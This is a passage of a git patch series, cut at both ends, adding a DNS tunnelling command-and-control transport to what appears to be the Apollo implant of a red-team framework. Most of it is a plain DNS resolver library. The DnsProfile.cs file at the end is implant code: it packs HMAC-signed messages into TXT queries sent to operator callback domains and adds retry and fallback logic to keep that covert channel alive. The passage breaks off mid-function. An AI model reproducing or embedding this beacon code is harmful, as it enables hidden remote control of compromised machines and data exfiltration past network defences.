RecordHelper(data); + var header = new DnsHeader(record); + + Questions = new List(); + Answers = new List(); + Authorities = new List(); + Additionals = new List(); + + for (var intI = 0; intI < header.QdCount; intI++) + { + Questions.Add(new DnsQuestion(record)); + } + + for (var intI = 0; intI < header.AnCount; intI++) + { + Answers.Add(new AnswerReader(record)); + } + + for (var intI = 0; intI < header.NsCount; intI++) + { + Authorities.Add(new AuthorityReader(record)); + } + + for (var intI = 0; intI < header.ArCount; intI++) + { + Additionals.Add(new AdditionalReader(record)); + } + } + + public List Questions; + public List Answers; + public List Authorities; + public List Additionals; + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs new file mode 100644 index 00000000..2cdcde02 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Models +{ + public class ParseResult + { + public string Input { get; set; } + public string Evaluated { get; set; } + public string Parsed { get; set; } + public InputType Type { get; set; } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs new file mode 100644 index 00000000..8671aa1b --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs @@ -0,0 +1,6 @@ +namespace DnsRip.Models +{ + public abstract class Record + { + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs new file mode 100644 index 00000000..1e57b15c --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs @@ -0,0 +1,20 @@ +using DnsRip.Utilites; +using System.Net; + +namespace DnsRip.Models +{ + public class RecordA : Record + { + public RecordA(RecordHelper helper) + { + _value = new IPAddress(helper.ReadBytes(4)); + } + + private readonly IPAddress _value; + + public override string ToString() + { + return _value.ToString(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs new file mode 100644 index 00000000..776d932c --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs @@ -0,0 +1,29 @@ +using DnsRip.Utilites; +using System.Net; + +namespace DnsRip.Models +{ + public class RecordAaaa : Record + { + public RecordAaaa(RecordHelper helper) + { + IPAddress.TryParse( + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}", + out _value); + } + + private readonly IPAddress _value; + + public override string ToString() + { + return _value.ToString(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs new file mode 100644 index 00000000..2b5bfe12 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs @@ -0,0 +1,19 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordCName : Record + { + public RecordCName(RecordHelper helper) + { + _value = helper.ReadDomainName(); + } + + private readonly string _value; + + public override string ToString() + { + return _value; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs new file mode 100644 index 00000000..81a8a662 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs @@ -0,0 +1,21 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordMx : Record + { + public RecordMx(RecordHelper helper) + { + _preference = helper.ReadUInt16(); + _exchange = helper.ReadDomainName(); + } + + private readonly ushort _preference; + private readonly string _exchange; + + public override string ToString() + { + return $"{_preference} {_exchange}"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs new file mode 100644 index 00000000..f0bdf028 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs @@ -0,0 +1,19 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordNs : Record + { + public RecordNs(RecordHelper helper) + { + _value = helper.ReadDomainName(); + } + + private readonly string _value; + + public override string ToString() + { + return _value; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs new file mode 100644 index 00000000..ff116665 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs @@ -0,0 +1,19 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordPtr : Record + { + public RecordPtr(RecordHelper helper) + { + _value = helper.ReadDomainName(); + } + + private readonly string _value; + + public override string ToString() + { + return _value; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs new file mode 100644 index 00000000..c1fec1e1 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs @@ -0,0 +1,31 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordSoa : Record + { + public RecordSoa(RecordHelper helper) + { + _mName = helper.ReadDomainName(); + _rName = helper.ReadDomainName(); + _serial = helper.ReadUInt32(); + _refresh = helper.ReadUInt32(); + _retry = helper.ReadUInt32(); + _expire = helper.ReadUInt32(); + _minimum = helper.ReadUInt32(); + } + + private readonly string _mName; + private readonly string _rName; + private readonly uint _serial; + private readonly uint _refresh; + private readonly uint _retry; + private readonly uint _expire; + private readonly uint _minimum; + + public override string ToString() + { + return $"{_mName} {_rName} {_serial} {_refresh} {_retry} {_expire} {_minimum}"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs new file mode 100644 index 00000000..27f4a3c9 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs @@ -0,0 +1,31 @@ +using DnsRip.Utilites; +using System.Collections.Generic; +using System.Text; + +namespace DnsRip.Models +{ + public class RecordTxt : Record + { + public RecordTxt(RecordHelper helper, int length) + { + var pos = helper.Position; + + _value = new List(); + + while (helper.Position - pos < length) + _value.Add(helper.ReadString()); + } + + private readonly List _value; + + public override string ToString() + { + var sb = new StringBuilder(); + + foreach (var txt in _value) + sb.AppendFormat("\"{0}\" ", txt); + + return sb.ToString().TrimEnd(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs new file mode 100644 index 00000000..17b76012 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Models +{ + public class RecordUnknown : Record + { + public override string ToString() + { + return "Unknown Record"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs new file mode 100644 index 00000000..0fb6c61a --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs @@ -0,0 +1,11 @@ +namespace DnsRip.Models +{ + public class ResolveResponse + { + public string Server { get; set; } + public string Host { get; set; } + public uint Ttl { get; set; } + public QueryType Type { get; set; } + public string Record { get; set; } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs new file mode 100644 index 00000000..f148cc68 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs @@ -0,0 +1,38 @@ +using DnsRip.Models; +using System.Text.RegularExpressions; + +namespace DnsRip +{ + public class Parser + { + public ParseResult Parse(string input) + { + var result = new ParseResult + { + Input = input, + Evaluated = input.Trim().ToLower() + }; + + var match = Regex.Match(result.Evaluated, @"((?:[0-9]{1,3}\.){3}[0-9]{1,3}|([A-Fa-f0-9]{1,4}::?){1,7}[A-Fa-f0-9]{1,4})"); + + if (match.Success) + { + result.Type = InputType.Ip; + result.Parsed = match.Value; + return result; + } + + match = Regex.Match(result.Evaluated, @"((([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)+([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9]))($|\.|/|:)"); + + if (match.Success) + { + result.Type = InputType.Hostname; + result.Parsed = match.Groups[1].Value; + return result; + } + + result.Type = InputType.Invalid; + return result; + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs new file mode 100644 index 00000000..8d473e56 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs @@ -0,0 +1,96 @@ +using DnsRip.Extensions; +using DnsRip.Models; +using DnsRip.Utilites; +using System; +using System.Collections.Generic; +using System.Net.Sockets; + +namespace DnsRip +{ + public class Resolver + { + public Resolver(string server) : this(new[] { server }) + { } + + public Resolver(IEnumerable servers) + { + Servers = servers; + Validator = new Validator(); + } + + public int Retries + { + get { return _retries == 0 ? 3 : _retries; } + set { _retries = value; } + } + + public TimeSpan Timeout + { + get { return _timeout.Ticks == 0 ? TimeSpan.FromSeconds(1) : _timeout; } + set { _timeout = value; } + } + + public IEnumerable Servers { get; set; } + public Validator Validator { get; set; } + + private int _retries; + private TimeSpan _timeout; + + public IEnumerable Resolve(string query, QueryType type) + { + var dnsRequest = GetDnsRequest(query, type); + var resolved = new List(); + + foreach (var server in Servers) + { + var attempts = 0; + + while (attempts <= _retries) + { + attempts++; + + try + { + using (var socket = new SocketHelper(dnsRequest, server, _timeout)) + { + var data = socket.Send(); + var dnsResponse = new DnsResponse(data); + + foreach (var resp in dnsResponse.Answers) + { + resolved.Add(new ResolveResponse + { + Server = server, + Host = resp.Name.FromNameFormat(), + Type = resp.Type, + Record = resp.Record.ToString(), + Ttl = resp.Ttl + }); + } + } + + break; + } + catch (SocketException) + { + if (attempts >= 3) + throw; + } + } + } + + return resolved; + } + + private DnsRequest GetDnsRequest(string query, QueryType type) + { + if (type == QueryType.PTR && Validator.IsIp(query)) + query = query.ToArpaRequest(); + + var dnsHeader = new DnsHeader(); + var dnsQuestion = new DnsQuestion(query, type); + + return new DnsRequest(dnsHeader, dnsQuestion); + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs new file mode 100644 index 00000000..f0ce1ae5 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Utilites +{ + public class AdditionalReader : RecordReader + { + public AdditionalReader(RecordHelper helper) + : base(helper) + { + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs new file mode 100644 index 00000000..777f3e13 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Utilites +{ + public class AnswerReader : RecordReader + { + public AnswerReader(RecordHelper helper) + : base(helper) + { + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs new file mode 100644 index 00000000..f1ae5299 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Utilites +{ + public class AuthorityReader : RecordReader + { + public AuthorityReader(RecordHelper helper) + : base(helper) + { + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs new file mode 100644 index 00000000..5a5a2f4a --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs @@ -0,0 +1,133 @@ +using DnsRip.Models; +using System.Text; + +namespace DnsRip.Utilites +{ + public class RecordHelper + { + public RecordHelper(byte[] data) + { + _data = data; + Position = 0; + } + + public RecordHelper(byte[] data, int position) + { + _data = data; + Position = position; + } + + public int Position { get; set; } + + private readonly byte[] _data; + + public string ReadDomainName() + { + var sb = new StringBuilder(); + int length; + + while ((length = ReadByte()) != 0) + { + if ((length & 0xc0) == 0xc0) + { + var helper = new RecordHelper(_data, (length & 0x3f) << 8 | ReadByte()); + + sb.Append(helper.ReadDomainName()); + + return sb.ToString(); + } + + while (length > 0) + { + sb.Append(ReadChar()); + length--; + } + + sb.Append('.'); + } + + return sb.Length == 0 ? "." : sb.ToString(); + } + + public string ReadString() + { + var length = ReadByte(); + var sb = new StringBuilder(); + + for (var intI = 0; intI < length; intI++) + sb.Append(ReadChar()); + + return sb.ToString(); + } + + public byte ReadByte() + { + return Position >= _data.Length ? (byte)0 : _data[Position++]; + } + + public byte[] ReadBytes(int intLength) + { + var list = new byte[intLength]; + + for (var intI = 0; intI < intLength; intI++) + list[intI] = ReadByte(); + + return list; + } + + public char ReadChar() + { + return (char)ReadByte(); + } + + public ushort ReadUInt16() + { + return (ushort)(ReadByte() << 8 | ReadByte()); + } + + public ushort ReadUInt16(int offset) + { + Position += offset; + + return ReadUInt16(); + } + + public uint ReadUInt32() + { + return (uint)(ReadUInt16() << 16 | ReadUInt16()); + } + + public Record ReadRecord(QueryType type, int length) + { + switch (type) + { + case QueryType.A: + return new RecordA(this); + + case QueryType.CNAME: + return new RecordCName(this); + + case QueryType.AAAA: + return new RecordAaaa(this); + + case QueryType.NS: + return new RecordNs(this); + + case QueryType.MX: + return new RecordMx(this); + + case QueryType.SOA: + return new RecordSoa(this); + + case QueryType.TXT: + return new RecordTxt(this, length); + + case QueryType.PTR: + return new RecordPtr(this); + + default: + return new RecordUnknown(); + } + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs new file mode 100644 index 00000000..0b6aab18 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs @@ -0,0 +1,30 @@ +using DnsRip.Models; +using System; + +namespace DnsRip.Utilites +{ + public class RecordReader + { + public RecordReader(RecordHelper helper) + { + Name = helper.ReadDomainName(); + Type = (QueryType)helper.ReadUInt16(); + Class = helper.ReadUInt16(); + Ttl = helper.ReadUInt32(); + Record = helper.ReadRecord(Type, helper.ReadUInt16()); + } + + public string Name; + public QueryType Type; + public int Class; + public Record Record; + + public uint Ttl + { + get { return Math.Max(0, _ttl); } + set { _ttl = value; } + } + + private uint _ttl; + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs new file mode 100644 index 00000000..ae0f3bd7 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs @@ -0,0 +1,42 @@ +using DnsRip.Models; +using System; +using System.Net; +using System.Net.Sockets; + +namespace DnsRip.Utilites +{ + public class SocketHelper : IDisposable + { + public SocketHelper(DnsRequest request, string server, TimeSpan timeout) + { + _request = request; + _server = new IPEndPoint(IPAddress.Parse(server), 53); + _timeout = timeout; + } + + private Socket _socket; + private readonly IPEndPoint _server; + private readonly DnsRequest _request; + private readonly TimeSpan _timeout; + + public byte[] Send() + { + _socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); + _socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 1000); + _socket.SendTo(_request.Data, _server); + + var buffer = new byte[512]; + var received = _socket.Receive(buffer); + var data = new byte[received]; + + Array.Copy(buffer, data, received); + + return data; + } + + public void Dispose() + { + _socket.Dispose(); + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs new file mode 100644 index 00000000..b609564b --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs @@ -0,0 +1,67 @@ +using System; + +namespace DnsRip.Utilites +{ + public class Validator + { + public bool IsInteger(object query) + { + int integer; + return int.TryParse(query.ToString(), out integer); + } + + public bool IsIp4(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.IPv4; + } + + public bool IsIp6(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.IPv6; + } + + public bool IsIp(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.IPv4 || + Uri.CheckHostName(query) == UriHostNameType.IPv6; + } + + public bool IsDomain(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.Dns; + } + + public bool IsMx(string query) + { + if (!query.Contains(" ")) + return false; + + var pref = query.Split(' ')[0]; + var ex = query.Split(' ')[1]; + + return IsInteger(pref) && IsDomain(ex); + } + + public bool IsSoa(string query) + { + if (!query.Contains(" ")) + return false; + + var values = query.Split(' '); + var index = 0; + + foreach (var value in values) + { + index++; + + if (index <= 2 && !IsDomain(value)) + return false; + + if (index > 2 && !IsInteger(value)) + return false; + } + + return true; + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs new file mode 100644 index 00000000..940f5e30 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("DnsProfile")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("DnsProfile")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("2ed749a9-a6ff-4c49-bda5-e3435e50dd5e")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] From 1b675b3f59e4b3a89b420e481be4bae57eacfd9e Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Fri, 24 Dec 2021 02:09:25 -0300 Subject: [PATCH 4/7] Added Reference ApolloInterop --- Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj index 290b3682..83018cec 100644 --- a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj @@ -74,5 +74,11 @@ + + + {5b5bd587-7dca-4306-b1c3-83a70d755f37} + ApolloInterop + + \ No newline at end of file From 9c051193beecb0cb005e901aa5e888003a8fcbff Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Fri, 24 Dec 2021 02:14:58 -0300 Subject: [PATCH 5/7] DnsTransport reference --- Payload_Type/apollo/agent_code/Apollo/Config.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/Payload_Type/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/agent_code/Apollo/Config.cs index 6fab38f4..66b04634 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Config.cs @@ -14,6 +14,7 @@ using ApolloInterop.Serializers; using NamedPipeTransport; using TcpTransport; +using DnsTransport; namespace Apollo { From f5211161c84c7501dc555dcfc4d9db13a11c982b Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Wed, 29 Dec 2021 00:56:26 -0300 Subject: [PATCH 6/7] Bug Fixes --- .../agent_code/DnsProfile/DnsProfile.cs | 1885 ++++++++--------- 1 file changed, 934 insertions(+), 951 deletions(-) diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs index d21c32a3..f6f798bb 100644 --- a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs @@ -1,951 +1,934 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Types.Delegates; -using ApolloInterop.Serializers; -using System.Net; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using ApolloInterop.Enums.ApolloEnums; -using System.Net.NetworkInformation; -using System.Net.Sockets; -using DnsRip; - -namespace DnsTransport -{ - public class DnsProfile : C2Profile, IC2Profile - { - private int server_turn = 2; - private int agent_turn = 1; - private int message_count_turn = 3; - private int reset_turn = 4; - private string cache_code = ""; - private string cached_message_server = ""; - private string cached_message_client = ""; - private int CallbackInterval; - private int CallbackJitter; - private bool EncryptedExchangeCheck; - private string TerminateDate; - private object lockerSend = new object(); - private object lockerErrorCount = new object(); - - public object lockerDnsMsg = new object(); - private string InitializationMessagePrefix; - private string DefaultMessagePrefix; - private string HmacKey; - - public JsonSerializer aux_serial = new JsonSerializer(); - - Dictionary threads_msg = new Dictionary(); - Dictionary dns_msg = new Dictionary(); - - public volatile bool is_fallback = false; - public volatile int error_count_p1 = 0; - public volatile int error_count_p2 = 0; - private int MAX_ERROR_TOLERANCE_1 = 50; - private int MAX_ERROR_TOLERANCE_2 = 25; - private volatile int max_threads_conn = 10; - int[] next_msg_queue; - Thread next_msg_organizer; - - private bool is_init = false; - private bool finished_sending = false; - private int message_count = 0; - - List domains; - private volatile int bit_flip = 0; - DnsRip.Resolver dnsRip; - private int channel; - private int init_seq; - private volatile int next_seq; - private int end_seq; - - - private bool _uuidNegotiated = false; - - public DnsProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) - { - CallbackInterval = int.Parse(data["callback_interval"]); - CallbackJitter = int.Parse(data["callback_jitter"]); - InitializationMessagePrefix = data["msginit"]; - DefaultMessagePrefix = data["msgdefault"]; - HmacKey = data["hmac_key"]; - EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; - // Necessary to disable certificate validation - domains = data["callback_domains"].Split(',').ToList(); - this.next_msg_queue = new int[this.max_threads_conn]; - dnsRip = new DnsRip.Resolver(GetDnsAddress()); - reset_init_all(); - Agent.SetSleep(CallbackInterval, CallbackJitter); - } - - public void reset_init_all() - { - this.error_count_p1 = 0; - this.error_count_p2 = 0; - this.finished_sending = false; - this.bit_flip = 0; - this.is_init = false; - this.cached_message_client = ""; - this.cached_message_server = ""; - channel = initialize_ch_seq(); - init_seq = initialize_ch_seq(); - this.dns_msg.Clear(); - initialize_Channel_conn(); - - } - - - public void set_error() - { - lock (lockerErrorCount) - { - if (this.is_fallback == false) - { - this.error_count_p1 += 1; - } - else - { - this.error_count_p2 += 1; - } - } - - } - - public void reset_error_count() - { - lock (lockerErrorCount) - { - this.error_count_p1 = 0; - this.error_count_p2 = 0; - this.is_fallback = false; - this.max_threads_conn = 10; - } - } - - public void set_fallback() - { - this.max_threads_conn = 1; - this.is_fallback = true; - - } - - public void check_fallback() - { - if (this.is_fallback == true) - { - Thread.Sleep(this.CallbackInterval * 1000); - } - } - - - //message pattern: - //mesg : _______.___________.________.________.__________ - // PREFIX SID + SEQ BYTES HMAC DOMAIN - //hmac = (md5) 32 - // seq + sid = 8 - //prefix = ~ - //domain = ~ - - public string GetDnsAddress() - { - while (true) - { - NetworkInterface[] networkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); - - foreach (NetworkInterface networkInterface in networkInterfaces) - { - if (networkInterface.OperationalStatus == OperationalStatus.Up) - { - IPInterfaceProperties ipProperties = networkInterface.GetIPProperties(); - IPAddressCollection dnsAddresses = ipProperties.DnsAddresses; - - foreach (IPAddress dnsAdress in dnsAddresses) - { - if (dnsAdress.AddressFamily == AddressFamily.InterNetwork) - { - return dnsAdress.ToString(); - } - - } - } - } - Agent.Sleep(); - } - } - - public int initialize_ch_seq() - { - Random rd_ch = new Random(); - return rd_ch.Next(0, 200); - } - - public void initialize_Channel_conn() - { - while (is_init == false) - { - - send_init_request(); - Agent.Sleep(); - } - } - - public string get_random_domain_query() - { - var random = new Random(); - int index = random.Next(domains.Count); - return domains[index]; - } - - public Dictionary parse_message(string message) - { - - string[] fields = message.Split('.'); - Dictionary dFields = new Dictionary(); - dFields["tsid"] = fields[0]; - dFields["bit_flip"] = fields[1]; - dFields["data"] = fields[2]; - - return dFields; - } - - public bool send_reset_request() - { - - int maximum_size_messages = 63; - string random_message = GenerateUniqueHexString(maximum_size_messages); - string hex_channel = String.Format("{0:X2}", this.channel); - string hex_seq = String.Format("{0:X6}", this.init_seq); - - var tsid = hex_channel + this.bit_flip + hex_seq; - var data = Encoding.UTF8.GetBytes(tsid + random_message); - var key = Encoding.UTF8.GetBytes(HmacKey); - var hmac = new HMACMD5(key); - var hashBytes = hmac.ComputeHash(data); - string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); - - - string message = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); - - - string result = ""; - try - { - result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); - } - catch (Exception ex) - { - set_error(); - result = ""; - - return false; - } - - try - { - if (!string.IsNullOrEmpty(result)) - { - Dictionary dFields = parse_message(result); - int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); - int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); - - if (channel != this.channel) - { - this.channel = channel; - - } - this.bit_flip = this.agent_turn; - this.next_seq = seq; - this.init_seq = seq; - this.dns_msg.Clear(); - - reset_error_count(); - return true; - } - else - { - return false; - } - } - catch (Exception ex) - { - result = ""; - return false; - } - } - - public void reset_cycle() - { - while (true) - { - check_fallback(); - if (send_reset_request() == true) - { - break; - } - if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) - { - throw new Exception("Fallback"); - } - if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) - { - set_fallback(); - } - } - - } - - public void send_init_request() - { - int maximum_size_messages = 63; - string random_message = GenerateUniqueHexString(maximum_size_messages); - this.cache_code = random_message; - string hex_channel = String.Format("{0:X2}", channel); - string hex_seq = String.Format("{0:X6}", init_seq); - - var tsid = hex_channel + this.bit_flip + hex_seq; - var data = Encoding.UTF8.GetBytes(tsid + random_message); - var key = Encoding.UTF8.GetBytes(HmacKey); - var hmac = new HMACMD5(key); - var hashBytes = hmac.ComputeHash(data); - string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); - - string message = InitializationMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); - - string result = ""; - try - { - result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); - } - catch (Exception ex) - { - result = ""; - } - try - { - if (!string.IsNullOrEmpty(result)) - { - Dictionary dFields = parse_message(result); - int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); - int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); - - if (channel != this.channel) - { - 